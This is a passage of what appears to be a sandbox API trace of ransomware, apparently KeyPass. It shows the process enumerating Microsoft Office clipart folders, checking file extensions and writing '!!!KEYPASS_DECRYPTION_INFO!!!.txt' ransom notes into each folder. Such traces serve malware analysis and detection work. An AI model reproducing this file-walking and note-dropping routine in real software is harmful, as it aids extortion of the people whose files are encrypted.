Files\\Microsoft Office\\root\\client\\vcruntime140.dll") returned=".dll" [0243.600] FindNextFileW (in: hFindFile=0x2e79598, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0243.600] FindNextFileW (in: hFindFile=0x2e79098, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.600] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0243.600] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.600] GetLastError () returned 0x3f0 [0243.600] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.600] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b4 [0243.620] GetFileType (hFile=0x5b4) returned 0x1 [0243.620] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0243.620] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0243.620] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0243.620] WriteFile (in: hFile=0x5b4, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0243.621] WriteFile (in: hFile=0x5b4, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0243.621] CloseHandle (hObject=0x5b4) returned 1 [0243.621] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e79158 [0243.621] FindNextFileW (in: hFindFile=0x2e79158, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.621] FindNextFileW (in: hFindFile=0x2e79158, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.621] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.621] FindNextFileW (in: hFindFile=0x2e79158, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.621] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0243.621] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2e53068 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.621] GetLastError () returned 0x3f0 [0243.621] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.621] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b0 [0243.692] GetFileType (hFile=0x5b0) returned 0x1 [0243.692] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0243.692] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0243.692] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0243.692] WriteFile (in: hFile=0x5b0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0243.693] WriteFile (in: hFile=0x5b0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0243.693] CloseHandle (hObject=0x5b0) returned 1 [0243.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e795d8 [0243.693] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.694] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.694] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.694] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.694] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned=".GIF" [0243.694] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.694] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned=".GIF" [0243.694] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.694] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned=".GIF" [0243.694] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.694] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned=".GIF" [0243.694] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned=".GIF" [0243.695] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned=".GIF" [0243.696] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned=".GIF" [0243.696] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned=".GIF" [0243.696] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned=".GIF" [0243.696] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned=".GIF" [0243.696] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned=".GIF" [0243.696] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned=".GIF" [0243.696] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned=".GIF" [0243.696] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned=".GIF" [0243.696] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned=".GIF" [0243.696] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned=".GIF" [0243.696] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned=".GIF" [0243.696] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned=".GIF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned=".GIF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned=".GIF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned=".WMF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned=".WMF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned=".WMF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned=".WMF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned=".WMF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned=".WMF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned=".WMF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned=".WMF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned=".WMF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned=".WMF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned=".WMF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned=".WMF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.698] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned=".WMF" [0243.698] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.699] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned=".WMF" [0243.699] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.700] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned=".WMF" [0243.700] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.700] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned=".WMF" [0243.700] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.700] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned=".WMF" [0243.700] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.701] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned=".WMF" [0243.701] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.701] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned=".WMF" [0243.701] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.701] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned=".WMF" [0243.701] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.701] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned=".WMF" [0243.701] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.701] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned=".WMF" [0243.701] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.701] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned=".WMF" [0243.701] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.701] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned=".WMF" [0243.701] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.701] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned=".WMF" [0243.701] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.701] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned=".WMF" [0243.701] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.701] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned=".WMF" [0243.701] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.701] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned=".MID" [0243.701] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.701] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned=".WMF" [0243.701] FindNextFileW (in: hFindFile=0x2e795d8, lpFindFileData=0x2e4ead4 | 